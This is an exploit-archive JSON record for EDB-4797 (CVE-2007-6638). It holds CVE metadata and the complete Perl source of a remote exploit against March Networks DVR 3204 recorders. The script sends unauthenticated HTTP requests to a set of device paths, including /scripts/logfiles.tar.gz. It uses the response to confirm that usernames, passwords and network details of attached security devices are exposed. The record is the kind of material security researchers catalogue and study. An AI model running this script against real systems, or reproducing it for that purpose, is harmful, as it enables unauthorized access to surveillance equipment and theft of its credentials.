{"exploit":{"id":"EDB-4797","name":"March Networks DVR 3204 - Logfile Information Disclosure","description":"March Networks DVR 3204 - Logfile Information Disclosure","cves":["CVE-2007-6638"],"author":"Alex Hernandez","published":"2007-12-27","platform":"hardware","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4797","path":"exploits/hardware/remote/4797.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4797.pl","vulnerabilities":[{"id":"CVE-2007-6638","state":"PUBLISHED","title":null,"titleSource":null,"description":"March Networks DVR 3204 stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain usernames, passwords, device names, and IP addresses via a direct request for scripts/logfiles.tar.gz.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6638","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6638"},"updatedAt":"2024-08-07T16:11:06.197Z","retrievedAt":"2026-11-26T20:08:52.567Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4797.png?v=2","url":"https://exploitbin.com/exploits/EDB-4797","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4797/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4797/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# March Networks DVR 3204 Logfile Information Disclosure Exploit\n#\n# Since configuration of the IP address, user console and root is\n# carried out over the \"administrator console\", the vulnerability\n# lies within Watchdog's HTTP server application.\n#\n# Any user can obtain the log files without authentication by accessing\n# the following PATH http:/dvraddress/scripts/logfiles.tar.gz. The intruder\n# can then uncompress the tar file and access the config.dat to reveal\n# username and passwords, names of devices, and IP addresses of other\n# security components attached to the corporate networ\n#\n# More details:\n# http://www.sybsecurity.com/resources/static/\n# An_Insecurity_Overview_of_the_March_Networks_DVR-CCTV_3204.pdf\n#\n# By Alex Hernandez ahernandez [at] sybsecurity [dot] com\n#\n# Usage: perl -x dvr3204_exp.pl www.marchnetworks.com:80\n# Usage: perl -x dvr3204_exp.pl 127.0.0.1:80\n#\n# $ perl -x dvr3204_exp.pl 10.50.10.246:80\n# Trying...\n#\n# THIS HOST IS VULNERABLE!!! :-)\n# Check the details on w w w [dot] sybsecurity [dot] c o m\n#\n# THIS HOST IS NOT VULNERABLE :-(\n# Check the settings on browser...\n#\n#\n\nuse Socket;\n\nif ($#ARGV<0) {die \"\n\\nMarch Networks DVR 3204 exploit\\n\nMore details: http://www.sybsecurity.com\nBy Alex Hernandez\\n\nahernandez [at] sybsecurity [dot] com\\n\n\nUsage: perl -x $0 www.marchnetworks.com:80\nUsage: perl -x $0 127.0.0.1:80\\n\\n\";}\n\n($host,$port)=split(/:/,@ARGV[0]);\n\nprint \"Trying...\\n\\n\";\n$target = inet_aton($host);\n$flag=0;\n\nmy @results=sendraw(\"GET /Level1Authenticate.htm HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /UserAuthenticate.htm HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /public/index.htm HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /public/UpgradeStatus.htm HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /public/UpgradeHistory.htm HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /public/UpgradeHistory.txt HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /public/dvrlog HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nmy @results=sendraw(\"GET /scripts/logfiles.tar.gz HTTP/1.0\\r\\n\\r\\n\");\nforeach $line (@results){\n if ($line =~ /Directory/) {$flag=1;}}\n\nif ($flag==1){print \"THIS HOST IS VULNERABLE!!! :-)\\n\nCheck the details on www [dot] sybsecurity [dot] com\\n\";}\nelse {print \"THIS HOST IS NOT VULNERABLE :-( \\n\nCheck the settings on browser...\\n\";}\n\nsub sendraw {\n        my ($pstr)=@_;\n        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||\n                die(\"Socket problems\\n\");\n        if(connect(S,pack \"SnA4x8\",2,$port,$target)){\n                my @in;\n                select(S); $|=1; print $pstr;\n                while(<S>){ push @in, $_;}\n                select(STDOUT); close(S); return @in;\n        } else { die(\"Can't connect check the port or address...\\n\"); }\n}\n\n# milw0rm.com [2007-12-27]","sha256":"92781dd8bf224dc6913d13bd5fac00abdb71877f96a4c1f5311eef6c28732b49","bytes":3223,"fetchedAt":"2026-11-26T20:08:51.089Z","encoding":"utf-8 (display only; download retains original bytes)"}